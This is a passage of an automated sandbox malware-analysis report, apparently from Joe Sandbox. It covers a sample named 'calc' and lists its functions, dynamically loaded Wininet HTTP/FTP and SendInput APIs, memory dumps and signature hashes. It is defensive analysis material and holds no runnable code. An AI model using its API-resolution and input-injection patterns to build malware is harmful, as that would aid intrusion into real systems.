    • Opcode Fuzzy Hash: eabc24713cc0d57b82beee37674fe870f9fd3a7856a74545b4a3a8b12b45cbae
    • Instruction Fuzzy Hash: 7D61CF35800216EBEF14EF96C849A9EB7B4BF08324F14416BE81577251CBB8AD85CBD9
    Function 004240D8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 103COMMON
    Download Yara Rule
    APIs
    • SetErrorMode.KERNEL32(00000001), ref: 004240E5
    • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000000,00000000), ref: 00424183
    • FreeLibrary.KERNEL32(?), ref: 004241D9
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: Free$DiskErrorLibraryModeSpace
    • String ID: Wu
    • API String ID: 196386347-4083010176
    • Opcode ID: ec9e2a6431ef558222c43363077eb0374d7a6db46bcaa8f577a68fa7ac60255b
    • Instruction ID: b200f007bc7906c09fc1daa9ee030b72ce8bb0e7a5c992d7f6e88266f231a153
    • Opcode Fuzzy Hash: ec9e2a6431ef558222c43363077eb0374d7a6db46bcaa8f577a68fa7ac60255b
    • Instruction Fuzzy Hash: FD318E31A00528EBCF04EF95EC448EEBBB8FF94310B41416BF901A7161DB38AD91CB99
    Function 0042B031 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 81COMMON
    Download Yara Rule
    APIs
      • Part of subcall function 0042FF12: LoadLibraryA.KERNEL32(Wininet.dll,0042B04C,?,00000000), ref: 0042FF1D
      • Part of subcall function 0042FF12: GetProcAddress.KERNEL32(00000000,InternetCrackUrlW), ref: 0042FF2F
    • FreeLibrary.KERNEL32(?,?,00000000), ref: 0042B0BB
    • FreeLibrary.KERNEL32(?,?,00000000), ref: 0042B106
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: Library$Free$AddressLoadProc
    • String ID: <$Wu
    • API String ID: 1386263645-3459117047
    • Opcode ID: bc8154724da4988744ae3f73b3a068960f97eee7dce1caf29509b1ad39073ea0
    • Instruction ID: 08250e3cd797b4f165cb22cbd0ca780e2f8aa99a4327fa461dcb274be227e967
    • Opcode Fuzzy Hash: bc8154724da4988744ae3f73b3a068960f97eee7dce1caf29509b1ad39073ea0
    • Instruction Fuzzy Hash: 4D31B3B1D00229EFCB11DF99E8419DEBBF8EF48300F50816BE815A7251D7799A41DFA4
    Function 0043004A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(Wininet.dll,0042FD8C,00000001,0042ACF7,?,20000013,?,?,00000000,00000001), ref: 00430055
    • GetProcAddress.KERNEL32(00000000,HttpQueryInfoW), ref: 00430067
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: HttpQueryInfoW$Wininet.dll
    • API String ID: 2574300362-1827896123
    • Opcode ID: 2c1ab40f9f572c927a0f49cc0b26cfcbf8b99dfb582a9751682da44302c35902
    • Instruction ID: ae3e7c10155bc4f291df986d1bcd477b896a64aa057136c8ef096f6152cf38fa
    • Opcode Fuzzy Hash: 2c1ab40f9f572c927a0f49cc0b26cfcbf8b99dfb582a9751682da44302c35902
    • Instruction Fuzzy Hash: C7D0C970A41302EECB208F71D8497137AF8AB44B02F209A6BB486D1260E77CE480CA1E
    Function 00430071 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(Wininet.dll,0042FDA2,?,0042AE6F,00000000,00000000,?,00000000,00000000,00000000,80000000,00000000), ref: 0043007C
    • GetProcAddress.KERNEL32(00000000,HttpOpenRequestW), ref: 0043008E
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: HttpOpenRequestW$Wininet.dll
    • API String ID: 2574300362-1025864003
    • Opcode ID: fa93d8326efd3392f730695c0b1e64c3d25dd35159c5fa05e1670c90f17307a6
    • Instruction ID: 3aaa05196208d3405ad0e3724d1edfe7fa9879c1e0bd29b72703f7ab18a18b8f
    • Opcode Fuzzy Hash: fa93d8326efd3392f730695c0b1e64c3d25dd35159c5fa05e1670c90f17307a6
    • Instruction Fuzzy Hash: CED0C970641302EECB208F71D849B237AF8AB48702F20996AB49ED1260E778C840CE1E
    Function 00430023 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(Wininet.dll,0042FD76,00000000,0042AAC3,00000000,?,80000000,00000001,00000000), ref: 0043002E
    • GetProcAddress.KERNEL32(00000000,FtpOpenFileW), ref: 00430040
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: FtpOpenFileW$Wininet.dll
    • API String ID: 2574300362-1343039947
    • Opcode ID: 6420013c9dd9f3a00795251f9aeb9b087d60abef74e79443d0e6b0bbbbe75e81
    • Instruction ID: 762bacf6f0d06cfb391cf0f2ff01321af7d6c7216697d0843cc30400aa9164b9
    • Opcode Fuzzy Hash: 6420013c9dd9f3a00795251f9aeb9b087d60abef74e79443d0e6b0bbbbe75e81
    • Instruction Fuzzy Hash: C3D0C974641302EECB608F61D8497137AF8AB44702F20997BB48AD1261E77CD440CE5E
    Function 004300E6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(Wininet.dll,0042FE10,00000000,0042B1F3,00000000,00000032,?,00000008,?,00000003), ref: 004300F1
    • GetProcAddress.KERNEL32(00000000,InternetSetOptionW), ref: 00430103
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: InternetSetOptionW$Wininet.dll
    • API String ID: 2574300362-1330685833
    • Opcode ID: 95de0dffc22d0963259c4d69c6c45233e077d41ec1b1f5133d5896be310fb27d
    • Instruction ID: ff59ce156c35f3968f4afa164b3a05efdcf9e96a6bec108e9525e22fa4784c4e
    • Opcode Fuzzy Hash: 95de0dffc22d0963259c4d69c6c45233e077d41ec1b1f5133d5896be310fb27d
    • Instruction Fuzzy Hash: 56D0C970641312EECB20AF61D8497137FE8AB55702F20996AB486D1262E778C440CF1E
    Function 004120F8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(user32.dll,00410D3B,?,?,004115D3,00000012,?,00000000,?,00000000), ref: 00412103
    • GetProcAddress.KERNEL32(00000000,SendInput), ref: 00412115
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: SendInput$user32.dll
    • API String ID: 2574300362-1064832393
    • Opcode ID: 4ead3b7de1eb813e2890999ff995c73bf3de4ffd0baf0b3798f1e810c2294c97
    • Instruction ID: b963cc7c8b00b921c783b673ea5c61c7744dee692fadaf3b76782265ccaed0cb
    • Opcode Fuzzy Hash: 4ead3b7de1eb813e2890999ff995c73bf3de4ffd0baf0b3798f1e810c2294c97
    • Instruction Fuzzy Hash: 38D0C970540306EFCB209FB1C98A71277E8AB00707F20886BB989E1293D7B8C484CA1C
    Function 0042003A Relevance: 6.1, APIs: 4, Instructions: 70windowCOMMON
    Download Yara Rule
    APIs
    • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00420064
    • TranslateMessage.USER32(?), ref: 0042008B
    • DispatchMessageW.USER32(?), ref: 00420095
    • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 004200A5
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: Message$Peek$DispatchTranslate
    • String ID:
    • API String ID: 1795658109-0
    • Opcode ID: 9024c2977bfdbd5ac00eb1186ad899a131a143131b69003cd44eda1b14e214a5
    • Instruction ID: d6d8623c54d9b74e91df51d2b51a13610eb9f86121000978df8a1a571116bf05
    • Opcode Fuzzy Hash: 9024c2977bfdbd5ac00eb1186ad899a131a143131b69003cd44eda1b14e214a5
    • Instruction Fuzzy Hash: 3B1187B2A053559EEB119BB4BC88BB77BECA701309F44843AD152D3102E778D84ADB79
    Function 004030FC Relevance: 6.0, APIs: 4, Instructions: 27threadwindowtimeCOMMON
    Download Yara Rule
    APIs
    • SendMessageTimeoutW.USER32(0045C6D0,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00403119
    • GetWindowThreadProcessId.USER32(0045C6D0,00000000), ref: 0040312E
    • GetCurrentThreadId.KERNEL32 ref: 00403135
    • AttachThreadInput.USER32(00000000,?,0040301A,?,00000001), ref: 0040313C
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
    • String ID:
    • API String ID: 2710830443-0
    • Opcode ID: f061325f79de26fa8bd7ada1c3a173e6ada7418d19c7524b275892b6c77a0e0a
    • Instruction ID: e0469f5d39f6c9a8ed97173fcd7a9f0b0481b7a02a8b853d1df90955247d746e
    • Opcode Fuzzy Hash: f061325f79de26fa8bd7ada1c3a173e6ada7418d19c7524b275892b6c77a0e0a
    • Instruction Fuzzy Hash: 59E01231684308FAEB119F60DC0AF9A3F5CAB14B42F508021B705AD0E2D7B9DAA1CB5C
    Function 0045705F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109fileCOMMON
    Download Yara Rule
    APIs
      • Part of subcall function 0044F7F5: SetFilePointer.KERNELBASE(00000000,00000000,00000000,?,?,?,0044F8C0,?,00000000,0044EFF8,0045B9B8,0000000C,0044CCA9,?,00000000,00000002), ref: 0044F822
      • Part of subcall function 0044F7F5: GetLastError.KERNEL32 ref: 0044F82F
    • SetEndOfFile.KERNEL32(00000000,?,?,?,00000000,?,?,?,00455E63,00000000,80000000), ref: 0045714F
    • GetLastError.KERNEL32(?,?,?,00000000,?,?,?,00455E63,00000000,80000000), ref: 00457174
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: ErrorFileLast$Pointer
    • String ID: c^E
    • API String ID: 1697706070-2539547054
    • Opcode ID: cfd755cca87d619af5feba0446fd4f4da26253de6824d47dc33922f992f189b7
    • Instruction ID: b36608169c62242103fee92faa6a2b2a4f55438ee637c16eb5b786c1d23c8d19
    • Opcode Fuzzy Hash: cfd755cca87d619af5feba0446fd4f4da26253de6824d47dc33922f992f189b7
    • Instruction Fuzzy Hash: B9314C71900514ABEF212F65DC45B8E3B64EF08355F10417BFD089B292EA798E488B9C